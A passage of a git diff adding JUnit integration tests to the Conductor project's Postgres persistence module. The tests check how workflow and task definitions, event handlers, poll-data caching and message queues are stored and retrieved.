1)); + } + + for (int i = 0; i < 9; i++) { + metadataDAO.removeTaskDef(def.getName() + i); + } + all = metadataDAO.getAllTaskDefs(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals(def.getName(), all.get(0).getName()); + } + + @Test + public void testRemoveNotExistingTaskDef() { + NonTransientException applicationException = + assertThrows( + NonTransientException.class, + () -> metadataDAO.removeTaskDef("test" + UUID.randomUUID().toString())); + assertEquals("No such task definition", applicationException.getMessage()); + } + + @Test + public void testEventHandlers() { + String event1 = "SQS::arn:account090:sqstest1"; + String event2 = "SQS::arn:account090:sqstest2"; + + EventHandler eventHandler = new EventHandler(); + eventHandler.setName(UUID.randomUUID().toString()); + eventHandler.setActive(false); + EventHandler.Action action = new EventHandler.Action(); + action.setAction(EventHandler.Action.Type.start_workflow); + action.setStart_workflow(new EventHandler.StartWorkflow()); + action.getStart_workflow().setName("workflow_x"); + eventHandler.getActions().add(action); + eventHandler.setEvent(event1); + + metadataDAO.addEventHandler(eventHandler); + List all = metadataDAO.getAllEventHandlers(); + assertNotNull(all); + assertEquals(1, all.size()); + assertEquals(eventHandler.getName(), all.get(0).getName()); + assertEquals(eventHandler.getEvent(), all.get(0).getEvent()); + + List byEvents = metadataDAO.getEventHandlersForEvent(event1, true); + assertNotNull(byEvents); + assertEquals(0, byEvents.size()); // event is marked as in-active + + eventHandler.setActive(true); + eventHandler.setEvent(event2); + metadataDAO.updateEventHandler(eventHandler); + + all = metadataDAO.getAllEventHandlers(); + assertNotNull(all); + assertEquals(1, all.size()); + + byEvents = metadataDAO.getEventHandlersForEvent(event1, true); + assertNotNull(byEvents); + assertEquals(0, byEvents.size()); + + byEvents = metadataDAO.getEventHandlersForEvent(event2, true); + assertNotNull(byEvents); + assertEquals(1, byEvents.size()); + } + + @Test + public void testGetAllWorkflowDefsLatestVersions() { + WorkflowDef def = new WorkflowDef(); + def.setName("test1"); + def.setVersion(1); + def.setDescription("description"); + def.setCreatedBy("unit_test"); + def.setCreateTime(1L); + def.setOwnerApp("ownerApp"); + def.setUpdatedBy("unit_test2"); + def.setUpdateTime(2L); + metadataDAO.createWorkflowDef(def); + + def.setName("test2"); + metadataDAO.createWorkflowDef(def); + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + + def.setName("test3"); + def.setVersion(1); + metadataDAO.createWorkflowDef(def); + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + def.setVersion(3); + metadataDAO.createWorkflowDef(def); + + // Placed the values in a map because they might not be stored in order of defName. + // To test, needed to confirm that the versions are correct for the definitions. + Map allMap = + metadataDAO.getAllWorkflowDefsLatestVersions().stream() + .collect(Collectors.toMap(WorkflowDef::getName, Function.identity())); + + assertNotNull(allMap); + assertTrue(allMap.size() >= 4); + assertEquals(1, allMap.get("test1").getVersion()); + assertEquals(2, allMap.get("test2").getVersion()); + assertEquals(3, allMap.get("test3").getVersion()); + } + + @Test + public void testGetWorkflowNames() { + WorkflowDef def = new WorkflowDef(); + def.setName("names_wf_alpha"); + def.setVersion(1); + metadataDAO.createWorkflowDef(def); + + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + + def.setName("names_wf_beta"); + def.setVersion(1); + metadataDAO.createWorkflowDef(def); + + List names = metadataDAO.getWorkflowNames(); + assertNotNull(names); + + // Verify distinct names and ordering + assertTrue(names.contains("names_wf_alpha")); + assertTrue(names.contains("names_wf_beta")); + assertTrue(names.indexOf("names_wf_alpha") < names.indexOf("names_wf_beta")); + } + + @Test + public void testGetWorkflowVersions() { + WorkflowDef def = new WorkflowDef(); + def.setName("versions_wf_test"); + def.setVersion(1); + metadataDAO.createWorkflowDef(def); + + def.setVersion(2); + metadataDAO.createWorkflowDef(def); + + def.setVersion(5); + metadataDAO.createWorkflowDef(def); + + List versions = metadataDAO.getWorkflowVersions("versions_wf_test"); + assertNotNull(versions); + assertEquals(3, versions.size()); + + assertEquals(1, versions.get(0).getVersion()); + assertEquals(2, versions.get(1).getVersion()); + assertEquals(5, versions.get(2).getVersion()); + + for (WorkflowDefSummary summary : versions) { + assertEquals("versions_wf_test", summary.getName()); + assertNotNull(summary.getCreateTime()); + } + + // Non-existent workflow should return empty list + List empty = metadataDAO.getWorkflowVersions("nonexistent_workflow"); + assertNotNull(empty); + assertTrue(empty.isEmpty()); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAOCacheTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAOCacheTest.java new file mode 100644 index 0000000..d246ef8 --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAOCacheTest.java @@ -0,0 +1,154 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.sql.SQLException; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.annotation.DirtiesContext; +import org.springframework.test.annotation.DirtiesContext.ClassMode; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.dao.PollDataDAO; +import com.netflix.conductor.postgres.config.PostgresConfiguration; +import com.netflix.conductor.postgres.util.Query; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.*; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.app.asyncIndexingEnabled=false", + "conductor.elasticsearch.version=0", + "conductor.indexing.type=postgres", + "conductor.postgres.pollDataFlushInterval=200", + "conductor.postgres.pollDataCacheValidityPeriod=100", + "spring.flyway.clean-disabled=false" + }) +@SpringBootTest +@DirtiesContext(classMode = ClassMode.AFTER_CLASS) +public class PostgresPollDataDAOCacheTest { + + @Autowired private PollDataDAO pollDataDAO; + + @Autowired private ObjectMapper objectMapper; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + try (Connection conn = dataSource.getConnection()) { + // Explicitly disable autoCommit to match HikariCP pool configuration + // and ensure we can control transaction boundaries + conn.setAutoCommit(false); + + // Use RESTART IDENTITY to reset sequences and CASCADE for foreign keys + conn.prepareStatement("truncate table poll_data restart identity cascade") + .executeUpdate(); + + // Explicitly commit the truncation in a separate transaction + // This ensures the truncation is visible to all subsequent connections + conn.commit(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + private List> queryDb(String query) throws SQLException { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, query)) { + return q.executeAndFetchMap(); + } + } + } + + private void waitForCacheFlush() { + long lastFlushTime = ((PostgresPollDataDAO) pollDataDAO).getLastFlushTime(); + await().atMost(1, TimeUnit.SECONDS) + .pollInterval(10, TimeUnit.MILLISECONDS) + .until( + () -> + lastFlushTime + < ((PostgresPollDataDAO) pollDataDAO).getLastFlushTime()); + } + + @Test + public void cacheFlushTest() throws SQLException, JsonProcessingException { + waitForCacheFlush(); + pollDataDAO.updateLastPollData("dummy-task", "dummy-domain", "dummy-worker-id"); + + List> records = + queryDb("SELECT * FROM poll_data WHERE queue_name = 'dummy-task'"); + + assertEquals("Poll data records returned", 0, records.size()); + + waitForCacheFlush(); + + records = queryDb("SELECT * FROM poll_data WHERE queue_name = 'dummy-task'"); + assertEquals("Poll data records returned", 1, records.size()); + assertEquals("Wrong domain set", "dummy-domain", records.get(0).get("domain")); + + JsonNode jsonData = objectMapper.readTree(records.get(0).get("json_data").toString()); + assertEquals( + "Poll data is incorrect", "dummy-worker-id", jsonData.get("workerId").asText()); + } + + @Test + public void getCachedPollDataByDomainTest() throws SQLException { + waitForCacheFlush(); + pollDataDAO.updateLastPollData("dummy-task2", "dummy-domain2", "dummy-worker-id2"); + + PollData pollData = pollDataDAO.getPollData("dummy-task2", "dummy-domain2"); + assertNotNull("pollData is null", pollData); + assertEquals("dummy-worker-id2", pollData.getWorkerId()); + + List> records = + queryDb("SELECT * FROM poll_data WHERE queue_name = 'dummy-task2'"); + + assertEquals("Poll data records returned", 0, records.size()); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAONoCacheTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAONoCacheTest.java new file mode 100644 index 0000000..cb0e5c1 --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresPollDataDAONoCacheTest.java @@ -0,0 +1,229 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.sql.SQLException; +import java.util.*; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.FixMethodOrder; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.junit.runners.MethodSorters; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.annotation.DirtiesContext; +import org.springframework.test.annotation.DirtiesContext.ClassMode; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.TestPropertySource; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.common.metadata.tasks.PollData; +import com.netflix.conductor.dao.PollDataDAO; +import com.netflix.conductor.postgres.config.PostgresConfiguration; +import com.netflix.conductor.postgres.util.Query; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.*; + +@FixMethodOrder(MethodSorters.NAME_ASCENDING) +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@TestPropertySource( + properties = { + "conductor.app.asyncIndexingEnabled=false", + "conductor.elasticsearch.version=0", + "conductor.indexing.type=postgres", + "conductor.postgres.pollDataFlushInterval=0", + "conductor.postgres.pollDataCacheValidityPeriod=0", + "spring.flyway.clean-disabled=false" + }) +@SpringBootTest +@DirtiesContext(classMode = ClassMode.AFTER_EACH_TEST_METHOD) +public class PostgresPollDataDAONoCacheTest { + + @Autowired private PollDataDAO pollDataDAO; + + @Autowired private ObjectMapper objectMapper; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + try (Connection conn = dataSource.getConnection()) { + // Explicitly disable autoCommit to match HikariCP pool configuration + // and ensure we can control transaction boundaries + conn.setAutoCommit(false); + + // Use RESTART IDENTITY to reset sequences and CASCADE for foreign keys + conn.prepareStatement("truncate table poll_data restart identity cascade") + .executeUpdate(); + + // Explicitly commit the truncation in a separate transaction + // This ensures the truncation is visible to all subsequent connections + conn.commit(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + + // Verify the table is actually empty after truncation + // This helps catch isolation issues in CI environments + try { + List> remainingRecords = queryDb("SELECT * FROM poll_data"); + if (!remainingRecords.isEmpty()) { + throw new IllegalStateException( + "poll_data table still has " + + remainingRecords.size() + + " records after truncation"); + } + } catch (SQLException e) { + throw new RuntimeException("Failed to verify poll_data table is empty", e); + } + } + + private List> queryDb(String query) throws SQLException { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, query)) { + return q.executeAndFetchMap(); + } + } + } + + @Test + public void updateLastPollDataTest() throws SQLException, JsonProcessingException { + pollDataDAO.updateLastPollData("dummy-task", "dummy-domain", "dummy-worker-id"); + + List> records = + queryDb("SELECT * FROM poll_data WHERE queue_name = 'dummy-task'"); + + assertEquals("More than one poll data records returned", 1, records.size()); + assertEquals("Wrong domain set", "dummy-domain", records.get(0).get("domain")); + + JsonNode jsonData = objectMapper.readTree(records.get(0).get("json_data").toString()); + assertEquals( + "Poll data is incorrect", "dummy-worker-id", jsonData.get("workerId").asText()); + } + + @Test + public void updateLastPollDataNullDomainTest() throws SQLException, JsonProcessingException { + pollDataDAO.updateLastPollData("dummy-task", null, "dummy-worker-id"); + + List> records = + queryDb("SELECT * FROM poll_data WHERE queue_name = 'dummy-task'"); + + assertEquals("More than one poll data records returned", 1, records.size()); + assertEquals("Wrong domain set", "DEFAULT", records.get(0).get("domain")); + + JsonNode jsonData = objectMapper.readTree(records.get(0).get("json_data").toString()); + assertEquals( + "Poll data is incorrect", "dummy-worker-id", jsonData.get("workerId").asText()); + } + + @Test + public void getPollDataByDomainTest() { + pollDataDAO.updateLastPollData("dummy-task", "dummy-domain", "dummy-worker-id"); + + PollData pollData = pollDataDAO.getPollData("dummy-task", "dummy-domain"); + assertEquals("dummy-task", pollData.getQueueName()); + assertEquals("dummy-domain", pollData.getDomain()); + assertEquals("dummy-worker-id", pollData.getWorkerId()); + } + + @Test + public void getPollDataByNullDomainTest() { + pollDataDAO.updateLastPollData("dummy-task", null, "dummy-worker-id"); + + PollData pollData = pollDataDAO.getPollData("dummy-task", null); + assertEquals("dummy-task", pollData.getQueueName()); + assertNull(pollData.getDomain()); + assertEquals("dummy-worker-id", pollData.getWorkerId()); + } + + @Test + public void getPollDataByTaskTest() { + pollDataDAO.updateLastPollData("dummy-task1", "domain1", "dummy-worker-id1"); + pollDataDAO.updateLastPollData("dummy-task1", "domain2", "dummy-worker-id2"); + pollDataDAO.updateLastPollData("dummy-task1", null, "dummy-worker-id3"); + pollDataDAO.updateLastPollData("dummy-task2", "domain2", "dummy-worker-id4"); + + List pollData = pollDataDAO.getPollData("dummy-task1"); + assertEquals("Wrong number of records returned", 3, pollData.size()); + + List queueNames = + pollData.stream().map(x -> x.getQueueName()).collect(Collectors.toList()); + assertEquals(3, Collections.frequency(queueNames, "dummy-task1")); + + List domains = + pollData.stream().map(x -> x.getDomain()).collect(Collectors.toList()); + assertTrue(domains.contains("domain1")); + assertTrue(domains.contains("domain2")); + assertTrue(domains.contains(null)); + + List workerIds = + pollData.stream().map(x -> x.getWorkerId()).collect(Collectors.toList()); + assertTrue(workerIds.contains("dummy-worker-id1")); + assertTrue(workerIds.contains("dummy-worker-id2")); + assertTrue(workerIds.contains("dummy-worker-id3")); + } + + @Test + public void getAllPollDataTest() { + pollDataDAO.updateLastPollData("dummy-task1", "domain1", "dummy-worker-id1"); + pollDataDAO.updateLastPollData("dummy-task1", "domain2", "dummy-worker-id2"); + pollDataDAO.updateLastPollData("dummy-task1", null, "dummy-worker-id3"); + pollDataDAO.updateLastPollData("dummy-task2", "domain2", "dummy-worker-id4"); + + List pollData = pollDataDAO.getAllPollData(); + assertEquals("Wrong number of records returned", 4, pollData.size()); + + List queueNames = + pollData.stream().map(x -> x.getQueueName()).collect(Collectors.toList()); + assertEquals(3, Collections.frequency(queueNames, "dummy-task1")); + assertEquals(1, Collections.frequency(queueNames, "dummy-task2")); + + List domains = + pollData.stream().map(x -> x.getDomain()).collect(Collectors.toList()); + assertEquals(1, Collections.frequency(domains, "domain1")); + assertEquals(2, Collections.frequency(domains, "domain2")); + assertEquals(1, Collections.frequency(domains, null)); + + List workerIds = + pollData.stream().map(x -> x.getWorkerId()).collect(Collectors.toList()); + assertTrue(workerIds.contains("dummy-worker-id1")); + assertTrue(workerIds.contains("dummy-worker-id2")); + assertTrue(workerIds.contains("dummy-worker-id3")); + assertTrue(workerIds.contains("dummy-worker-id4")); + } +} diff --git a/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresQueueDAOTest.java b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresQueueDAOTest.java new file mode 100644 index 0000000..b447b0e --- /dev/null +++ b/postgres-persistence/src/test/java/com/netflix/conductor/postgres/dao/PostgresQueueDAOTest.java @@ -0,0 +1,611 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.postgres.dao; + +import java.sql.Connection; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; +import java.util.stream.Collectors; + +import javax.sql.DataSource; + +import org.flywaydb.core.Flyway; +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.TestName; +import org.junit.runner.RunWith; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.flyway.FlywayAutoConfiguration; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; + +import com.netflix.conductor.common.config.TestObjectMapperConfiguration; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.postgres.config.PostgresConfiguration; +import com.netflix.conductor.postgres.util.Query; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.ImmutableList; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.assertEquals; +import static org.junit.Assert.assertFalse; +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertTrue; +import static org.junit.Assert.fail; + +@ContextConfiguration( + classes = { + TestObjectMapperConfiguration.class, + PostgresConfiguration.class, + FlywayAutoConfiguration.class + }) +@RunWith(SpringRunner.class) +@SpringBootTest(properties = "spring.flyway.clean-disabled=false") +public class PostgresQueueDAOTest { + + private static final Logger LOGGER = LoggerFactory.getLogger(PostgresQueueDAOTest.class); + + @Autowired private PostgresQueueDAO queueDAO; + + @Qualifier("dataSource") + @Autowired + private DataSource dataSource; + + @Autowired private ObjectMapper objectMapper; + + @Rule public TestName name = new TestName(); + + @Autowired Flyway flyway; + + // clean the database between tests. + @Before + public void before() { + try (Connection conn = dataSource.getConnection()) { + // Explicitly disable autoCommit to match HikariCP pool configuration + conn.setAutoCommit(false); + String[] stmts = + new String[] { + "truncate table queue restart identity cascade;", + "truncate table queue_message restart identity cascade;" + }; + for (String stmt : stmts) { + conn.prepareStatement(stmt).executeUpdate(); + } + // Commit to ensure truncation is visible across connection pool + conn.commit(); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + @Test + public void complexQueueTest() { + String queueName = "TestQueue"; + long offsetTimeInSecond = 0; + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.push(queueName, messageId, offsetTimeInSecond); + } + int size = queueDAO.getSize(queueName); + assertEquals(10, size); + Map details = queueDAO.queuesDetail(); + assertEquals(1, details.size()); + assertEquals(10L, details.get(queueName).longValue()); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + + List popped = queueDAO.pop(queueName, 10, 100); + assertNotNull(popped); + assertEquals(10, popped.size()); + + Map>> verbose = queueDAO.queuesDetailVerbose(); + assertEquals(1, verbose.size()); + long shardSize = verbose.get(queueName).get("a").get("size"); + long unackedSize = verbose.get(queueName).get("a").get("uacked"); + assertEquals(0, shardSize); + assertEquals(10, unackedSize); + + popped.forEach(messageId -> queueDAO.ack(queueName, messageId)); + + verbose = queueDAO.queuesDetailVerbose(); + assertEquals(1, verbose.size()); + shardSize = verbose.get(queueName).get("a").get("size"); + unackedSize = verbose.get(queueName).get("a").get("uacked"); + assertEquals(0, shardSize); + assertEquals(0, unackedSize); + + popped = queueDAO.pop(queueName, 10, 100); + assertNotNull(popped); + assertEquals(0, popped.size()); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + size = queueDAO.getSize(queueName); + assertEquals(10, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertTrue(queueDAO.containsMessage(queueName, messageId)); + queueDAO.remove(queueName, messageId); + } + + size = queueDAO.getSize(queueName); + assertEquals(0, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.pushIfNotExists(queueName, messageId, offsetTimeInSecond); + } + queueDAO.flush(queueName); + size = queueDAO.getSize(queueName); + assertEquals(0, size); + } + + /** + * Test fix for https://github.com/Netflix/conductor/issues/399 + * + * @since 1.8.2-rc5 + */ + @Test + public void pollMessagesTest() { + final List messages = new ArrayList<>(); + final String queueName = "issue399_testQueue"; + final int totalSize = 10; + + for (int i = 0; i < totalSize; i++) { + String payload = "{\"id\": " + i + ", \"msg\":\"test " + i + "\"}"; + Message m = new Message("testmsg-" + i, payload, ""); + if (i % 2 == 0) { + // Set priority on message with pair id + m.setPriority(99 - i); + } + messages.add(m); + } + + // Populate the queue with our test message batch + queueDAO.push(queueName, ImmutableList.copyOf(messages)); + + // Assert that all messages were persisted and no extras are in there + assertEquals("Queue size mismatch", totalSize, queueDAO.getSize(queueName)); + + List zeroPoll = queueDAO.pollMessages(queueName, 0, 10_000); + assertTrue("Zero poll should be empty", zeroPoll.isEmpty()); + + final int firstPollSize = 3; + List firstPoll = queueDAO.pollMessages(queueName, firstPollSize, 10_000); + assertNotNull("First poll was null", firstPoll); + assertFalse("First poll was empty", firstPoll.isEmpty()); + assertEquals("First poll size mismatch", firstPollSize, firstPoll.size()); + + final int secondPollSize = 4; + List secondPoll = queueDAO.pollMessages(queueName, secondPollSize, 10_000); + assertNotNull("Second poll was null", secondPoll); + assertFalse("Second poll was empty", secondPoll.isEmpty()); + assertEquals("Second poll size mismatch", secondPollSize, secondPoll.size()); + + // Assert that the total queue size hasn't changed + assertEquals( + "Total queue size should have remained the same", + totalSize, + queueDAO.getSize(queueName)); + + // Assert that our un-popped messages match our expected size + final long expectedSize = totalSize - firstPollSize - secondPollSize; + try (Connection c = dataSource.getConnection()) { + String UNPOPPED = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false"; + try (Query q = new Query(objectMapper, c, UNPOPPED)) { + long count = q.addParameter(queueName).executeCount(); + assertEquals("Remaining queue size mismatch", expectedSize, count); + } + } catch (Exception ex) { + fail(ex.getMessage()); + } + } + + /** + * Test fix for https://github.com/conductor-oss/conductor/issues/369 + * + *

    Confirms that the queue is taken into account when popping messages from the queue. + */ + @Test + public void pollMessagesDuplicatePopsTest() throws InterruptedException { + final List messages = new ArrayList<>(); + final String queueName1 = "issue369_testQueue_1"; + final String queueName2 = "issue369_testQueue_2"; + final int totalSize = 10; + + for (int i = 0; i < totalSize; i++) { + String payload = "{\"id\": " + i + ", \"msg\":\"test " + i + "\"}"; + Message m = new Message("testmsg-" + i, payload, ""); + if (i % 2 == 0) { + // Set priority on message with pair id + m.setPriority(99 - i); + } + messages.add(m); + } + + // Populate the queue with our test message batch + queueDAO.push(queueName1, ImmutableList.copyOf(messages)); + + // Add same messages for queue 2, to make sure that the message_id is duplicated across + // queues + queueDAO.push(queueName2, ImmutableList.copyOf(messages)); + + // Assert that all messages were persisted and no extras are in there + assertEquals("Queue size mismatch", totalSize, queueDAO.getSize(queueName1)); + assertEquals("Queue size mismatch", totalSize, queueDAO.getSize(queueName2)); + + List zeroPoll = queueDAO.pollMessages(queueName1, 0, 10_000); + assertTrue("Zero poll should be empty", zeroPoll.isEmpty()); + + final int firstPollSize = 3; + List firstPoll = queueDAO.pollMessages(queueName1, firstPollSize, 10_000); + assertNotNull("First poll was null", firstPoll); + assertFalse("First poll was empty", firstPoll.isEmpty()); + assertEquals("First poll size mismatch", firstPollSize, firstPoll.size()); + + final int secondPollSize = 4; + List secondPoll = queueDAO.pollMessages(queueName1, secondPollSize, 10_000); + assertNotNull("Second poll was null", secondPoll); + assertFalse("Second poll was empty", secondPoll.isEmpty()); + assertEquals("Second poll size mismatch", secondPollSize, secondPoll.size()); + + // Assert that the total queue 1 size hasn't changed + assertEquals( + "Total queue 1 size should have remained the same", + totalSize, + queueDAO.getSize(queueName1)); + + // Assert that the total queue 2 size hasn't changed + assertEquals( + "Total queue 2 size should have remained the same", + totalSize, + queueDAO.getSize(queueName2)); + + // Assert that our un-popped messages match our expected size + final long expectedSize = totalSize - firstPollSize - secondPollSize; + try (Connection c = dataSource.getConnection()) { + String UNPOPPED = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false"; + try (Query q = new Query(objectMapper, c, UNPOPPED)) { + long count = q.addParameter(queueName1).executeCount(); + assertEquals("Remaining queue 1 size mismatch", expectedSize, count); + } + + try (Query q = new Query(objectMapper, c, UNPOPPED)) { + long count = q.addParameter(queueName2).executeCount(); + assertEquals("Remaining queue 2 size mismatch", totalSize, count); + } + } catch (Exception ex) { + fail(ex.getMessage()); + } + } + + /** Test fix for https://github.com/Netflix/conductor/issues/1892 */ + @Test + public void containsMessageTest() { + String queueName = "TestQueue"; + long offsetTimeInSecond = 0; + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + queueDAO.push(queueName, messageId, offsetTimeInSecond); + } + int size = queueDAO.getSize(queueName); + assertEquals(10, size); + + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertTrue(queueDAO.containsMessage(queueName, messageId)); + queueDAO.remove(queueName, messageId); + } + for (int i = 0; i < 10; i++) { + String messageId = "msg" + i; + assertFalse(queueDAO.containsMessage(queueName, messageId)); + } + } + + /** + * Test fix for https://github.com/Netflix/conductor/issues/448 + * + * @since 1.8.2-rc5 + */ + @Test + public void pollDeferredMessagesTest() { + final List messages = new ArrayList<>(); + final String queueName = "issue448_testQueue"; + final int totalSize = 10; + + for (int i = 0; i < totalSize; i++) { + int offset = 0; + if (i < 5) { + offset = 0; + } else if (i == 6 || i == 7) { + // Purposefully skipping id:5 to test out of order deliveries + // Set id:6 and id:7 for a 2s delay to be picked up in the second polling batch + offset = 5; + } else { + // Set all other queue messages to have enough of a delay that they won't + // accidentally + // be picked up. + offset = 10_000 + i; + } + + String payload = "{\"id\": " + i + ",\"offset_time_seconds\":" + offset + "}"; + Message m = new Message("testmsg-" + i, payload, ""); + messages.add(m); + queueDAO.push(queueName, "testmsg-" + i, offset); + } + + // Assert that all messages were persisted and no extras are in there + assertEquals("Queue size mismatch", totalSize, queueDAO.getSize(queueName)); + + final int firstPollSize = 4; + List firstPoll = queueDAO.pollMessages(queueName, firstPollSize, 100); + assertNotNull("First poll was null", firstPoll); + assertFalse("First poll was empty", firstPoll.isEmpty()); + assertEquals("First poll size mismatch", firstPollSize, firstPoll.size()); + + List firstPollMessageIds = + messages.stream() + .map(Message::getId) + .collect(Collectors.toList()) + .subList(0, firstPollSize + 1); + + for (int i = 0; i < firstPollSize; i++) { + String actual = firstPoll.get(i).getId(); + assertTrue("Unexpected Id: " + actual, firstPollMessageIds.contains(actual)); + } + + final int secondPollSize = 3; + + // Wait for delayed messages to become available for polling + final String COUNT_READY = + "SELECT COUNT(*) FROM queue_message WHERE queue_name = ? AND popped = false AND deliver_on <= current_timestamp"; + await().atMost(10, TimeUnit.SECONDS) + .pollInterval(500, TimeUnit.MILLISECONDS) + .until( + () -> { + try (Connection c = dataSource.getConnection()) { + try (Query q = new Query(objectMapper, c, COUNT_READY)) { + return q.addParameter(queueName).executeCount() + >= secondPollSize; + } + } + }); + + // Poll for many more messages than expected + List secondPoll = queueDAO.pollMessages(queueName, secondPollSize + 10, 100); + assertNotNull("Second poll was null", secondPoll); + assertFalse("Second poll was empty", secondPoll.isEmpty()); + assertEquals("Second poll size mismatch", secondPollSize, secondPoll.size()); + + List expectedIds = Arrays.asList("testmsg-4", "testmsg-6", "testmsg-7"); + for (int i = 0; i < secondPollSize; i++) { + String actual = secondPoll.get(i).getId(); + assertTrue("Unexpected Id: " + actual, expectedIds.contains(actual)); + } + + // Assert that the total queue size hasn't changed + assertEquals( + "Total queue size should have remained the same", + totalSize, + queueDAO.getSize(queueName)); + + // Assert that our un-popped messages match our expected size + final long expectedSize = totalSize - firstPollSize - secondPollSize; + try (Connection c = 